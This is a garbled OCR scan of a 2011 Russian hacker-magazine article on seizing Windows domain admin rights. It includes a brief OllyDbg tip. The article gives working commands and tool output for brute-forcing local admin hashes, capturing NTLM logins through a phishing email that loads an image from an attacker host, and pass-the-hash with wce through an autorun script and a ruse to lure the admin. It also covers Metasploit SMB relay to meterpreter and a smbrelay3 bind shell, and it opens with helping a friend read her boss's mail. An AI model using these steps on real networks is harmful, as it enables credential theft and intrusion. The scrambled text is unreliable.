ЗАДАЧА: Поиск строк при дебагге B OllyDBG. РЕШЕНИЕ: В данной задаче и меется в виду дина м ический поиск строк, то есть не по в и ртуальной памяти, а в момент выпол нения програ м м ы . П р ед­ полож и м , мы зани маемся реверсом какой-то проги и нам требуется уста новить выпол н е н и е п рогра м м ы , когда запускается функция со строко в ы м и параметр а м и , введе н н ы м и нами ранее. Или нужно найти функцию сравнения строк в процессе взла м ы ва н и я софти н ы . То есть, нас интересуеттот момент, когда л ибо в регистрах будет адрес ячейки Х А К Е Р 03 1 1 46/ 1 0 1 1

нашей строчки, л и б о п р и вызове фун кции в параметрах будет наша строка. Надеюсь, получилось внятно объяснить смысл задач и :1. Оп исан ная возможность отсутствует среди ста ндартных возможнос­ тей Олл и . И большую часть дел приходится выполнять руч кам и . Зато у Олл и есть плаги н ы . Данная задача решается OllyStepNSearch ' e M , который изначально написан Дидье Сти венсоном [blog.didierstevens.com/programs/ ollystepnsearch]. Плагин делает то, что оп исано выше, а именно - построчно вы пол­ няет программу [ п о F7] и п роверяет, появил а с ь л и ссылка на строку в регистрах или параметрах фун кций, П роблем с испол ьзован и е м , думаю, не возникнет. В с е просто , :х:

� 043


• • т Ог О m O r O Гcl i n b o x , r u

v

v

уБоины и ПЕНТЕСТ П ов ы ш ение привиле г и й в домене Windows Ж ажда власти издревле являлась движуще й сило й прогресса человечества. Л ю б ому из нас в той или ино й степени присуща эта черта. В ладеть недоступной другим или скрываемой ими информа ц ие й , и даже просто чувствовать, что это в твоих силах, хочет кажды й . Поверь, се й час это не так уж и сложно: достаточно подняться до администратора домена. Домены, домены . . .

Что та кое дом е н , з н а ют все. Служба д и р е кто р и й , п ротокол доступа и еще куча разл и ч н ы х с е р в и с о в . И нформационная и нфраструктура почти любой бол е е - м е н е е круп н о й о р га н и з а ц и и держится на ДО. И в п е р вую оче редь Д О это контрол ь доступа п ол ьзователе й , а дом е н н ы й адм и н - царь л юбого дом е н а . П р о водя тесты на п р о н и к н о в е н и е , ты в з а и м одействуешь со сре­ дой фун кци о н и ро в а н и я той и л и и н ой с и сте м ы . Ты от нее зави­ с и ш ь, ты же на нее и вл и я ешь. Д в основе всего в пода вляющем бол ь ш и н стве случаев л ежит до . Только п р едста вь, как р а с ш и р я ­ ются глаза з а каз ч и ко в и уча щается и х пул ьс, когда ты показыва­ е ш ь вновь созда н ную уч етную запись в гру п п е дом е н н ы х адм и ­ н о в . Демонстрация с и л ы и возможн остей рядо в ы х сотруд н и ков I и нсайдеровl - одна из задач л юбого и н ф ра структурного п е нте­ ста . П однялся до а д м и н а - гото в ь кошелек дл я п р е м и а л ь н ы х . Н едавно одна моя подруга , наслуш а в ш и с ь о м о и х под в и га х , с к а ­ зала, что е й тоже о ч е н ь хотелось б ы ч итать п очту с в о е й началь­ н и ц ы . Н е з н а ю уж, зачем, п росто очень хотелось. П о е е м н е н и ю - это нереально и л и , п о крайней м е р е , к р а й н е сложно и е й тупо не под с илу. Я же ответи л , что это ни разу не та к, и что достаточ -

� 044

н о будет п а р ы часов, чтобы ее науч ить. Эта тема м н е т а к п о н ра ­ вилась, что я р е ш ил в с е с и стемати з и ро вать и н а р и совать статью. Статью п ро 1 О О % - ы й убо й н ы й п е нтест. Ита к, н а ша зада ч а - получ ить права пользователя из гру п п ы д о м е н н ы х адм и но в . Та к как м ы и граем р о л ь и н сайдера, усл о в и м ­ ся, что у н а с есть дом е н н а я учетка с о гр а н и ч е н н ы м и права м и , а также возможность доступа к подкл юч е н н о й к домену м а ш и н е с п р а ва м и л о кал ьного адм и н истрато ра. С о гласен, что пол ьзовате­ лям дал е ко н е всегда дают п р а ва л о кал ь н ы х адм и но в , но, те м не м е н е е , н е так уж и редко. И вообще, п ри н ц и п и ал ь н о го з н а ч е н ия это не и ме ет, в з а кл ю ч ител ьной части статьи я п окажу, как и х м ож н о получить. П о ка ж е д л я п ростоты будем сч итать, что та к и е п ра ва есть. Мы будем и с п ол ьз овать общие п одход ы , не связа н н ы е с э кс ­ плуатацией кон кретн ы х уяз в и м осте й . Т а к что можешь п о ка за быть о своих л юб и м ы х exploi t - d b и v u p e n , а также о Ca nvas и С о ге I m pact. С м ел о ста в ь ф р е й м в о р к и ч и х а й на а нти в и рус - ЭКСПЛ О Й ­ ты н а м в с е р а в н о н е по надобятся. Д в о т п р о M etasploit забы вать не стоит - та м есть чуд н ы е модули и meterp reter в помощь. Ну что, поехал и ? ХАКЕР 0 3 / 1 46/ 2 0 1 1


-

Локальный шелл с п равами администрато­ ра как результат рефлексии

Старо, как ми р

Н а в е р н я ка ты з н а е ш ь о то м , что х э ш и л о ка л ь н ы х п ол ьзо вателе й хра нятся в реестре и м о гут л е гко быть получ е н ы п р и нал и ч и и адм и н с ких п р и в ил е г и Й . Н е буду долго утомлять тебя избиты м и веща м и , б е р и с а i п ' а и с н и м а й х э ш и . Есл и хранен и е L М -х э ш е й не з а п рещено ' надеюсь, тебе н е с е м е р ку выдел и л и ) , то подбор п а ролей н е з а й м ет м н о го в р е м е н и . И уже че рез ч а с и к у тебя на руках будет пароль встро е н н о й учетной з а п и с и л о кал ьного адм и н и стратор а . С н о в ы м и окошка м и будет посложне е , та к ка к L M там уже не х р а н ится, н о и здесь, возможно, тебе п о везет. Особенно, есл и у тебя в арсенале десяток м а ш и но к с н о р м а л ьн ы м и в идюха м и . Ну а есл и и не повез ет, тоже не расстра и в а й ся - одн а ко об этом чуть п озже. Итак, парол ь встроенной адми нской учетки получен. Зачем он нужен? Л юбой адм и н , по оп редел е н и ю , л е н и в, и это нам на руку. В половине 'есл и не бол ьше) случаев этот па роль подойдет к куче других узлов. Это значит, что доступ ты и к этим м а ш и н а м легко получи ш ь. А есл и н ет? Есл и пол ити ка з а п р е щает и спользо в а н и е оди наковых п а р о л е й на р а з н ы х узла х , адм и н ы , к а к п р а в и л о , п р идум ы в а ют н е к и е паттер н ы , п о кото р ы м и гене рят па рол и . Н а п ри м е р , предста в и м , что после подбора получ е н о з н а ч е н и е АdmЗ9 1 . Первое, что нужно сделать, это о п р едел ить сам а л го р итм гене­ р а ц и и пароля . В да н н о м случае похоже на то, что п е р ва я часть н е и з м е н н а , а вторая - п р едста вляет собой н е кое трехз н а ч н о е ч и сл о . В луч ш е м случае ты п о й м е ш ь , как о н о ф о р м и руется ' н а п р и м е р , последн и й о ктет I Р-адреса), в худшем - соста в ь небол ь ш о й сло­ в а р и к со всеми возможн ы м и комби нация м и . И вовсе н еобязател ьно делать это в ручную - тебе п о м ожет « Ва ня - потрош ител Ь " . Коп и руем файл j o h n . i n i в J o h n i n i . b a k 'на всякий слу­ чай) и создаем новый файл следующего содержа н и я : john.ini

[ Li s t . Ru 1 e s : Word1 i s t ]

$ [ 0- 9 ] $ [ 0- 9 ]

$ [0-9]

$ [ 0- 9 ]

$ [0-9]

$ [ 0-9]

Вдаваться в подробности с и нта кси с а п р а в ил - это н е одну статью п и сать. Н о общий с м ы сл та ко в : дл я любо­ го па роля из входн о го с п и с ка в конец будет добав­ л е н о три элемента из мн ожества {О, 1 , 2 , З , 4 , 5,6),8,9}. После этого создае м входной файл с парол я м и . pentest.wordlist Adm

Дале е за пуска ем генера ц и ю : ХАКЕР 0 3 / 1 46/ 2 0 1 1

Хэши последних входов в домен помогут определить пароли доменных пользователей j ohn- 3 8 6 . exe -word1 i s t =pent e s t . word1 i s t - ru 1 e s - s t dout

>

pent e s t . pa sse s

На в ыходе получае м сло в а р ь с парол я м и дл я п е р е ­ б о р а . Для реал и з а ц и и брута я п редпоч ита ю и сп ользо­ вать олдс кул ьную гидру:

� links

Из описания алгоритма формирования L М -хэша ста н овятся очевидн ы м и все его слабости: еп . wi kipedia .o rg/wiki/ LM hash ; •

hydra - 1 txt

<имя_попьзователя>

L 192 . 1 6 8 . 12 0 . 1 1

pas swords .

smbnt

Н е з а б ы в а й поста в ить л итеру L, чтобы указать гидре п р о ве рять л о кал ьн ы е , а н е дом е н н ы е уч етн ы е да н н ы е . В качестве и м е н и пользователя и с п ол ьзу­ ем то же, которое было обна руже но на л о кальной машине. На русской в и нде, есл и адм и н ы н е насле­ дил и в груп п о в ы х политиках, это « Ад м и н и страто р » . Однако не с п е ш и и вспом н и о коди ровках. В м е сто « Ад м и н истратора» п р идется п одставлять з а гадочную строчку « а- Ё - Ё б в а в ® а » . За пускаем и ждем резул ь­ татов . Кстати , замечу, что гидра отл и ч н о ра ботает в нескол ько потоков, та к что м ожеш ь хоть всю сетку зараз брутить.

Н аследили . . .

Ну и что? Ну, на брутил и л о кал ьных адм и н ов . . П р и ч е м здесь дом е н -то? С о гл а с е н , не з а б ы в а е м п р о ко н е ч ную цель и д в и гаемся дал ьше. Н а в е р н я ка ты не раз з а м ечал, что, выдрав р а б о ч и й ноут и з сети и п о е х а в п о гретьс я , т ы в л юбой м о м е нт можешь з а л о г и н иться со своей д о м е н н о й учетко й . Зададимся в о п р о с о м ' ка к же это, д о м е н в е д ь недо­ сту п е н ? Ответ к р а й н е п р о ст. Ка к раз для та к и х цел е й В и нда х ра н ит кэш и ро ва н н ы е па рол и посл едн и х дом е н н ы х входов. Чудо это н а з ы в а ется Cached Domain C re d e n t ia ls. Н а с а м о м дел е , это совсем н е х э ш и , и н и ч е го общего со з н а ко м ы м и тебе LM и л и NTLM они не и м е ют. П о этому и толку ОТ н и х н и ка ко го , п о ка ты их не про­ б рут и ш ь. Кол и ч ество х ра н и м ы х х э ш е й о п редел я ется з н а ч е н и е м п а ра м етра C a c h e d LogonsCount раздела реестра Н КЕУ_LOCAL_MAC Н I N E\50ftwa re\M i c rosoft\ Wi n d ows N T\Cu rrent Version\Winlogon. По умол ч а н и ю в с е в е р с и и В и нды хранят х э ш и десяти последних входов. Л о ги ч н о , что среди этих хэшей н а в е р н я ка встретятся и х э ш и адм и н а . С н и мать эти х э ш и умеют м н огие тул з ы , вкл ючая C a i n и PWD u m pX. П е р в ы м удоб н о пол ьзоваться на л о кальной м а ш и н е , вто рой же ты може ш ь юзать дл я уда л е н н о й работы . З а пуска й

Кэш и рова н и е домен н ы х входов в ОС Windows : sup­ port. microsoft.com/ kbI9 1 3485; •

Страничка poke­ hashball: grutz.ji n­ gojango. n et/exploits/ pokehash Ьа ll. htm [; •

Свежая и , наверное, лучшая тулза для реализации pass-the-hash : dark­ net.org. u k/20 1 0/1 0/ W I ndows-credentia ls­ edito r-v l - 0 - li st-add­ ed it - logon -sessions; •

Слабенькая попытка М iсrоsоft п рикрыть 5 М В Relay: mi crosoft.com/tec h­ net/secu rity/bu lleti n/ msD8-D68. msрх ; •

Обзор 5 М В s i g n i n g : suppo rt. microsoft. com/kbI887429; •

· 5mbRelay3 позволит получить п ра ва локального адм и н истратора систе м ы : hta rasco. org/secu rity/smbrelay.

� 045


Запускаем новую сессию с использованием )(Эшей доменного админа

Не надо было бы админу « письмо счастья» открывать

C a i n ' a , п е реходи на в кладку C racker и в ы б е р и в л е в о й па нел ьке M S - C a c h e H a shes, Далее все, как о б ы ч н о , Если тебе повезло н а брутить адм и н о в на других узлах, н е п ол е н и с ь и с н и м и хэши с этих м а ш и н , Надеюсь, уда ча тебя н е оставит, хотя ш а н со в , честно скажу, н е м н о го , Во всех дом е н а х , кото р ы е м н е п о падал и с ь , были настрое н ы п олитики сложности пароля. Б ол е е того, адм и н ы для себя, как п р а в и л о , в ы б и р а ют действител ьно слож н ы е па рол и , та к что в бол ь ш и н стве случ аев тебя ждет провал, П о м о ч ь тебе м ожет Extreme GPU B r u teforcer, кото р ы й осуществляет перебор на в идюхах, одна ко га ранти й , с а м п о н и м а е ш ь , н и ка к и х , А раз нет га ранти й - это н е п о - н а ше му, и м ы идем дал ь ш е ,

Все гото в о l Н а узл е [а т е гсо т р з а пускаем pokehashball, П ридум ы в а е м себе очередной де н ь рожде н и я и дела е м рассылку с п р и гла ш е н и е м поучаствовать всем жел а ю щ и м , особе н н о адм и ­ н а м , П р и этом в конце п и сьма н е з а б ы ваем доба вить зловещую подп и с ь , П осле нажатия кноп ки < S е п d > можно п ойти п о гулять И ч е рез п а ру м и нут вернуться за уло в о м , Резул ьтаты увиди ш ь в выдаче pokehashba ll, Выход карди нально зависит от настроек груп повых политик, В идеале это будет NТLМ -аутентиф и кация с LМ-хэша м и , Если та к тебе повезло, На нормальном ноуте ты пассы за оди н день желез­ но подберешь lесл и , кон е ч н о , адм и н ы н е печата е м ы е с и м волы не испол ьзуют], Ну а в худшем - NTLMv2-аутенти ф и ка ц и я , п од кото­ рую, в силу особенностей алгоритма, даже радужных табл и ц н ет, Здесь можно рассчиты вать только на удачу и отсутствие п а рол ьных полити к. Да, и н е забудь отме н ить ДР после удач но го брута, С кажу тебе по секрету: статисти ка м о е й п ра ктики пе нтестов пока­ з ы в а ет, что этот м етод в 1 00% случаев дает жел а е м ы й резул ьтат, Его о с н о в н ы м и п р е и муществ а м и я в л я ются массовость и н еза мет­ насть, Рассы л ка по с п ис ку с разу же подсаживает кучу пользова­ теле й , а ф а кт наличия до в е р е н н ы х отно ш е н и й п ри водит к тому, что пол ьзователю не выда ется н и ка ки х з апросов: для н е го все пол ностью п розра ч н о и, что с а м о е п р е красное, от н е го н и ч е го н е з а в и ситl

П исьма счастья

М о гу п о с п о р ить, что на ра боте ты почти кажд ы й ден ь п олу­ ч а е ш ь п и с ь м а , повествующие об откл ю ч е н и и холодил ь н и ка , корпорати в н ы х п ья н ка х и п р и н ятии на службу н о в ы х бойцов, П р и мечател ьно, что эти п ис ьма н и ко гда н е п опадают в спам, п р и этом карти н к и в н и х а втоматически подгружаются и отобража ют­ ся почто в и ко м , Есл и коп нуть чуть глубже, м ожно обна ружить, что для отображе­ ния п и с ьма в H T M L Out look испол ьзует движок I E , П а радигма безопасн ости IE з и ждется на раздел е н и и всех ресурсов на з о н ы , В з а в и с имости о т того, к какой зоне отнесен ресурс, о п редел я ­ ется и уров е н ь дов е р и я к н е му, Дл я ресурсо в , входя щ и х в тот же до м е н , что и ты, н а з н а ч а ется зона « И нтра н ет», В этой эоне I E la з н а ч ит, и O u t look] п р и н еобходимости п р о изводит а втоматич е ­ скую а вто р и з а ц и ю с текущи м и уч етн ы м и да н н ы м и н а web-узл е , Отсюда рождается следующий с ц е н а р и й ата к и , Делаем рассылку п ис ь м а , содержа щего с с ы л ку на карт и н ку, р а сположе н ную на контрол и руе м о м н а м и узле . А на с а м о м узле подн и м а е м ф е й ко­ вый web - с е р в е р , зада ч е й кото рого будет я вляться п р и нужден и е к а втор и з а ц и и и з а п и с ь сессии ауте нтиф и к а ц и и , Р о л ь такого с е р в е р а поможет сы грать утил ита pokehashball, Тулза н а п и са на н а R u by и и с п ол ьзует б и бл иоте ки M etasploit , Та к что , есл и еще не поста в и л , б ы стро уста н а в л и в а й M etasploit и п р о п и ш и путь к б и бл иоте кам в п е р е м е н ную среды R U BY L I B = C :\ fra mework\msf3\l i b , Д л я отп равки п и с ьма и с п ол ьзуй O utlook Express, Дело в том , что взросл ы й Out look п р и отс ы л ке сам заби рает карт и н ку и вставля­ ет ее в п исьм о ; нам же подойдет только ссылка, Как н а строить Outlook Express ты , дум а ю , разб е р е ш ьс я . Н астроил? Тогда созда й Н Т М L-файл следующе го содержа н и я : Hacker , <br / >mOrO Corporat i on < img width= l height = l s r c = '' ht tp : / / 1amercomp : 8 0 8 8 / d , g i f "

/>

Дал ее в Outlook в ы б е р и м е н ю « С е р в и с -7 П а ра м етры», а зате м на в кладке « П одп и с и » созда й н о вую п одп и с ь , указав в качестве и сто ч н и ка созда н н ы й ф а й л ,

Чужие пальчики

Тем не м е н е е , п р едполож и м , что п о ка все усил и я п р о п а л и да ром, Н и оди н из п е рехва ч е н н ы х х э ш е й п р о б рутить н е удалось, Н о н е будем отч а и ваться, а п о ш е в ел и м и з в и л и н а м и , Одной и з целе й использ о в а н и я в н е ш н и х каталого в я в л я ется реал и з а ц и я п а р а ­ д и г м ы S i n g le S i g п - О п , Залоги н и в ш и с ь на ком п , ты получ а е ш ь доступ ко м н огим с е р в и са м , бол ь ш е н е вводя н и ка к и х паролей, Во всяком случ а е , к сервиса м M i c rosoft, Н и кто тебя л и ш н и й раз н е беспокоит, ко гда ты цепляешься к корпорат и в ному почто ви ку, C R M и л и с и стеме внутр е н н е го документообо рота , Это з н а ч ит, что п о ка твоя сессия а кти в н а , твои учетн ы е д а н н ы е хранятся в п а м я ­ ти и и спол ьзуются а втомати ч е с к и . П а р ол и , естеств е н н о , в откр ытом виде не хранятся - -' хра н ятся и х х э ш и , уже н а м з н а к о м ы е LM и л и N T L M . Ну а те п е р ь гла в н о е : е с л и В и нде достато ч н о только х э ш е й , чтобы тебя а втор и зовать, з н а ч ит и тебе для а вто р и з а ц и и под чужой учеткой сам пароль не нуже н , а нужен только е го х э ш , Тех н ология а вто р и з а ц и и п о х э ш у носит назва н и е pass- t h e - h a s h , П олуча етс я , что н и ка ка я та м парольная полити ка и отсутств и е в ы ч исл ител ь н ы х мощностей н а м н е поме­ ха, М ы п росто н и ч е го н е будем брутить, П робл ема закл юч а ется в том, ка к эти с а м ы е х э ш и п олучить. З а м еть, н и ч е го н о во го я н е сказал, а утилит, котор ы е позволяют п олучать х э ш и из а кти в н ы х сесс и й , не та к уж и мало, М н е бол ь­ ш е всего по душ е утилита wce, которая может н е тол ько с н и мать х э ш и , н о и и спользо вать и х для и н и ц и а ц и и н о в ы х с е с с и й с и спользова н и е м сда м пле н н ы х х э ш е й , ХАКЕР 0 3 / 1 4 6 / 2 0 1 1


.'_ e-

� t.. _

1е. * ф • • •II+ qj l lil ! 'I. {J •• 1iI 8 е 1l " 1 8 ' I lLl ....

1& � 1I ___ 1_m.liJo.-ll ,_ ID aDJl'i ... HAi�1

о_о

.,: мoooarc-...

. . � fI9IIaX2'IFOS. ...

: 1$C IS I1КS8I . �a

•• ' �..

=� =:.

-

Пароль локального админа подобрать не проблема Для да м п а сесс и й п р о сто за пусти б и н а р н и к . Естественно, к р о м е с в о е й учетки т ы н и че го н е у в и ­ д и ш ь. Дл я ком п р о м ета ц и и адм ина нужно за пустить утилку на узле , на кото р о м адм и н в н а стоя ще е время зал о г и н е н . В этой с в я з и на и б ол ь ш и й для нас и нтерес п редста вляют с е р в е р а . Если тебе удалось получ ить л о ка л ь н ы й адм и нс к и й доступ к серверу, забрось туда б и н а р н и к и запусти : wc e . exe - r б О -о c : \ ternp\wce . log

О п ц и я -г60 з а ста вля ет тулзу п роверять нал и ч и е н о в ы х л о г и н о в каждые 60 с е кунд. П р и за пуске м ожешь получ ить отлуп в в иде ош ибки инжекти р о ва н и я в п ро цесс LSASS . Тогда п о п робуй за пуститься с п р а в а ­ м и LocalSyste m . Д л я этого ты можеш ь и с п ол ьзо вать п л а н и р о в щ и к или воспользоваться утилитой psexec с кл ючом -s. Ну а дал ь ш е - воп рос в р е м е н и и везе н и я . Нужно п р о сто дождаться , по ка адм и н п одкл ю ч ится к серверу. Чем бол ьш е с е р в а ко в - тем луч ш е . Для уско р е н и я этого п р о цесса можешь п р и м е н ить свой, не с о м н еваюсь, н езаурядн ы й талант в обл а сти социаль­ н о й и нжен е р и и . Есл и тебе н е п овезло, и к серва ка м доступа т ы н е и м е е ш ь , п р идется п ожертвовать своей та ч ко й . Гла в н о е - п о м н ить, что в кл и ентских ОС от M i c rosoft одн о в р е м е н н о возможна только одна а кт и в н а я сес­ с и я . П ри ч е м для тачек, в кл ю ч е н н ы х в дом е н , и нтера к­ т и в н ы й доступ откл ючается . Это означает, что ко гда адм и н к тебе подкон н е ктитс я , все твои зада ч к и , в том ч и сл е и wce, будут з а в е р ш е н ы . То есть нужно н е м нож­ ко п остараться и сделать та к, чтобы твоя зада ча л ибо всегда висела, л ибо за пускалась при каждом входе. Дл я того, чтобы задача н е з а в е р шалась, ее можно запустить л ибо от и м е н и Loca lSystem Ic п о м о щью того же пла н и ро в щ и к а l , л и бо в виде с е р в и с а . Однако л и ч н о у м е ня та кие э к с п е р и м енты окончил и с ь н еуда ч ­ н о . П р о цесс работает, н о в ф а й л н и че го н е п и ш ет. П о это му п р едла га ю а л ьте р н ати в н ы й путь. Для этого создадим простой с к р и птик следующего содержа н и я : wce . bat @echo o f f c : \ ternp\wc e . exe - о c : \wce . l og

Дал ее доба вля е м его в а втоза груз ку. Кл ючей и м етодов а втоза груз ки м н ожество - в ы б о р за тобо й . П росте й ш и м в а р и а нтом я в л я ется созда н и е соот­ ветствующего п а ра м етра в разделе реестра Н КЕУ_ LOCAL_MAC H I N E\Softwa ге\М i c rosoft\Wi ndows\Cu ггеп! Version\R u n . П осле этого позвони админу и сообщи ему, что у тебя ком п вообще н е работает и о ч е н ь сроч­ но нужна е го помощь. Ко гда о н п р идет, зал о г и н ится ХАКЕР 0 3 / 1 46/ 2 0 "

Не используй одинаковые или похожие пароли на разных узлах и скажет, что все О К, н е за будь восхититься е го п р о ­ фессионал и з м о м , т ы с я ч у раз и з в и н иться и пообещать я щ и к п и в а . Ну а когда уйдет, посмотри соде ржимое файл и ка c :\wce.log. А еще лучше - за пусти кома нду wce - s <то ,

что

в

файлике лежит> -с crnd

и н а сл ажда йся консолью с п р а в а м и адм и н и стратора домена.

Отражение

Все з а м ечател ьно, н о , как и всегда, хочется п ро цесс несколько а втомати з и р о вать. Н а п р я мую и спол ьзовать х э ш и , получ е н н ы е при с н и ф ф и н ге аутентифика ци о н ­ н ы х сесс и й , н ельзя, потому что это не в ч и стом в иде L M - и NТLМ - х э ш и , а н е кото р ы е кри птограф и ч е с к и е п реобразова н и я н а д н и м и с и с п о л ьзо в а н и е м случа й ­ н ы х з н а ч е н и й . Тем не м е н е е , есл и полностью п о вто­ р ить п роцесс аутентиф и к а ц и и , в п ра в и л ь н о м порядке м а н и пул и руя з н а ч е н и я м и cha lle n g e , есть возможность а вторизо ваться с получ а е м ы м и хэша м и . Эта м етодика н о с ит назва н и е 5 M B R elay. М етод не н о в ы й и M i c rosoft о н е м и звестно. Не так да в н о [вспо м н и , когда появилась NТ] н а ко н ец-то поя­ вился бюллете н ь M S08-068. Соответствующие апдей­ ты п е р е к р ы вают возможн ость осуществлять рефл ек­ с и ю на хост, и н и ц и и ро ва в ш и й соеди н е н и е . Одн а ко это вовсе не и скл ючает возможности рефл е к с и и на другие хосты и л и п о другим п ротокол а м . Одн и м и з д е й ств е н н ы х м ех а н из м о в з а щ и ты я вл я ется « п од п и с ы в а н и е 5 M B » . Н а ст р о й ка осуществля ется л и б о груп п о в ы м и п ол и т и к а ­ м и , л и б о путе м р еда кти р о в а н и я п а р а м ет р о в Е п а b le S e c u r i tyS i g n a t u ге и R e q u i reS e c u r i t y S i g n a t u г е р а здела Н К ЕУ _LO C A L_MAC H I N E\SVST E M\ С u r re n t C o n t ro ISet\S e rv i c e s\La n М а n S e rv e r\ P a r a m e t e rs . Сто ит отметить, что н а ч и н а я с W i n d ows 2 0 0 0 R e q u i re S e c u rityS i g n a t u re в кл ю ч е н н а контролл е р а х д о м е н а п о у м ол ч а н и ю , о бл а м ы ва я в с е п о п ыт к и р е фл е к с и и н а к о н т р ол л е р . Од н а ко с кл и е нтс к и м и о с я м и п ол н ы й п о р я д о к . Д л я реал и з а ц и и рефл е кс и и будем и спол ьзовать модуль s m b_relay вел и кого и ужас ного Metasplo i t · a . Ита к , з а пускаем консоль, в ы б и ра е м и н а стра и ва е м модуль sm bJelay:

� i n fo

Ка к испол ьзовать все, что описано в статье, решаешь ты сам. Но советую не и с кушать судьбу. Не забывай получать п исьмен ное согласие заказч и ка на все свои действ и я .

В е с ь необходимый софт, а также видеорол и к ты найдешь на диске, п р илагаемом к журналу.

use windows / srnb/ srnb_re l ay set srnbhost < i р - адрес для рефлексии> exp l o i t

� 047


I

onsole tntеrасtюп wlndow

�t:

c

[ ' ] Cteat.d \ GlDКuvSQg • •х • • • • [ ... ] Connectinq to the Selvice Cont1:o1 ИanаqеI . . . [ ' ] Obraininq а .etvic• •anао"

hand1e • • .

[ ... ] C1:eatinq а nev se1:vice . . .

[ .. ]

Closinq selvice h81'l.d1e . . .

[ t ] Openinq selvice . . .

[ а ] Sta1:tinq the selvice . . .

[ ' ] R••ovinq th. ..tvic• • • • [ .. ] C10sinq selvice handle . . .

[ ' ] De1eting \ GlDКuvSQq. ех • • • .

[ а ] E1:ro1: processing request ft:olD. 192. 168 . 12 0 . 3 : 8088 [ ' ] Sendinq .ич.

(749056 Ьусе . )

to 192 . 168 . 12 0 . 11

[ ' ] Het.tpt.tet .e •• ion 1 opened ( 1 92 . 168. 120. 10: 4444 [ ' ] Ignotinq teque.t fto. 192 . 168 . 120 . 3 : 8088

( 1 1 5 ) : Rex: : PI.oto: : SМВ : : Exceptions: : ErroICode The

J

-> 192 . 1 68 . 120 . 11 : 1214) ас 2010-12-30 15 : 45 : 53 +'

(43)

['] Received 192. 168 . 120 . 3 : 8091 STAGEDlVER\ .taqediver LННASH: bf92ddeb43907b4ge62ce5127db097dbd8335bOdO' [ ' ] Authenticatinq со 192 . 168 . 120 . 11 а. STAGEDlVER\.taqedlv.t . . .

[ ' ] АIЛl!ENТIСАТЕD а. SТAGEDlVER\ .raqedivet • • •

[ ' ] Ignопnq tequ•• t fto. 192 . 168 . 120. 1 1 , atraclt a1teady in ptoqte ••.

['] Sendinq Ассе•• Deni.d со 192 . 168. 120 . 3 : 8091 STAGEDlVER\ .taqedivet

[ ' ] Received 192 . 168 . 12 0 . 3 : 8091 STAGEDlVER\ .taqedivet LННASH: bf92ddеЬ43907Ь49еб2се5127db097dbd8335ЬОdО'

Рефлексия в действии Не за пустился? Н е с п е ш и расстр а и ватьс я . П ра в ильно, что э кс ­ п л о й т н е за пустился, та к как п о рт 4 4 5 з а б и нден в и ндой за 5 M B ­ службо й . М ногие пуга ются того, что службу станда ртн ы м и с р ед­ ства м и убить нел ьзя , одна ко это н е та к. За пускаем regedit и п р и ­ с в а и в а е м п а р а м етру Тга п sр о гt В i п d N а m е раздела H KEY_LOCAL_ МАС Н I N E\SYSTEM\C u гге пtСопt го lSеt\Sе rvices\N е! ВТ\Ра га m eters пустое з н а ч е н и е . П осле этого п е реза гружа емся и п робуем з а н о в о . Теп е р ь в с е отл и ч н о l Ка к и м -либо о б р а з о м заста вл я е м адм и н а подкл юч ить л ю б о й ресурс на н а ш е м ко м п е и , как только он это сдела ет, у тебя на руках будет m eterp reter на том хосте, на кото­ р ы й ты рефлексился. А куда же рефлекситьс я , спрос и ш ь ты? Если н ел ьзя н а тот же узел и н а контроллер дом е н а , куда тогда? Есть о ч е н ь кра с и в ы й в а р и а нт - рефл е кситься на та ч ку другого адм и ­ н а . Ка к в боевиках: в с е адм и н ы друг друга пострел я л и . Что дал ь­ ш е ты будеш ь делать с meterp reter - уже н е моего ума дел о .

Help, I need somebody На десерт - с а м о е в кус н о е . До этого мы сч итал и , что и м еем п р а ва локальн ого адм и н истрато ра. Что дел ать, если и х н ет? З а м ечу, что отп р а в ка п и сем счастья не требует н и ка к и х допол н и ­ тел ь н ы х п р а в . Та к что этот м етод можн о и спользо вать и и з - под огра н ич е н н о й учетной з а п и с и . В п р и н ц и п е , н и что не м е ш а ет и M etasploit за грузить, одна ко освободить 445 п о рт без адм и нс к и х п р а в , к сожа л е н и ю , н е п олучитс я . Та к как м етод со с н иффи н гом сессии ауте нти ф и ка ц и и требует б рута хэшей и не га ранти рует резул ьтата , надо п р идумать что-то бол е е солидное. Как я уже гов о р и л , рефл е ксия может быть п р о и з в едена и с других п ротокол о в , в том ч исле и в резул ьтате аутенти ф и ка ц и и н а НТТР­ с е р в е р е . Та к и м образом можно п однять собств е н н ы й we b - с е р в а к на н е п р и в ил е ги р о в а н н о м п орту и заслать « п и сьмо счастья» со ссылкой на этот с е р в е р . А рефл е кс и ю с п р а ва м и адм и н а про­ водить на 5MB, скаже м , на свой же узел. В резул ьтате получ и м ш елл с адм и нс к и м и п ра в а м и на своей м а ш и н е . С каза но - сдела ­ н о , д а не тут-то было. К сожал е н и ю , M etasploit' овский s m bJelay жестоко обл а м ы в а ет, работая только с 5 M B . Н о здесь на п о м о щь п риходит другая тулза под назва н и е м

sm Ь геlауЗ. О н а умеет делать р о в н ы м с ч етом то, что н а м и надо. Ита к, запуска е м : smbre l ay3 . exe - -L i s t FоrНТТРRеquеsts - -Аl tеrпаtivеSrсРоrt 8 0 8 8 - - SМВDеst iпаt i опНоst < l amercomp>

П осле этого не з а б ы в а е м п р о п исьмо с нужной ссылкой на ка р­ ти н ку в п од п и с и и медитируем н а консоль. Как только увид и ш ь строчку [+]

* * * Remo t e 5mbRe lay3 B indShe l l Service Running « твой I P> : 8 0 8 0 ) ,

сразу за пускай тел н ет и подкл ю ч а й с я к п орту 8080. Дал ьш е дело тех н и к и и пеt user тебе в п о м о щь.

Качество га ранти рую

П олучая зада н и е на и н ф ра структурн ы й п ентест и с п ра ш и ва я , что же з а каз ч и к хотел бы в кон це этого действа увидеть, я в 9 случа­ ях из 1 О сл ы ш у ответ: «А вот п о п робуйте получ ить доступ к почте н а ш е го зама по безопасн ости ! » . Ну что ж, може ш ь с м ело браться за та к и е п ентесты - резул ьтат га рантирова н . Реализуя оди н и з о п и с а н н ы х сцен а р и е в , т ы , та к и л и и на ч е , н е п р е м е н н о п олуч и ш ь п р а ва д о м е н н о го адм и н а . И мея п рава до м е н н о го адм и н а , ты м оже ш ь сн ять хэши со всего каталога. А с помощью pass-the-hash получ и ш ь доступ к п очте не только зама п о без о п а с н ости, но и л юбого другого сотруд н и ка . Вообще гово­ р я , реал изация получ е н н ы х возможностей м ожет быть о г р а н и че­ на только твоей фа нта з и е Й . Н а последок скажу, что на M i c rosoft я н е работа ю, и д е н е г м н е не платят, чтобы за них думать. Н и ка к и х р е коменда ц и й от м е ня ты не усл ы ш и ш ь : и х раз работка пусть будет твоей 